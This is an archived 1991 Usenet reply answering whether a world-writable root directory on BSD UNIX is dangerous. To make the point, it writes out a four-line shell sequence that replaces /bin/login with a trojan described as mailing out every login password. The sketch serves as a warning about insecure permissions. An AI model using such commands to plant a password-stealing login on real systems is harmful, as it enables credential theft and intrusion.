Possible security problem, need information...
Marcus J. Ranum
mjr at hussar.dco.dec.com
Wed Mar 20 01:11:45 AEST 1991
In article <1991Mar18.200957.166 at gacvx2.gac.edu> dan at gacvx2.gac.edu writes:
>Greetings,
>
>Is there anything inherently evil giving world write access to the "root" (aka
>"/") directory on a BSD 4.3 UNIX system? The exact permission with the command
>"ls -ld /" is "drwxrwxrwt".
mv /bin /...
mkdir /bin
ln /.../* /bin
mv ~/myloginthatmailsmeallloginpasswords /bin/login
unsubtle, but you get the idea.
it's not "inherently evil" it's inherently brain-dead.
mjr.
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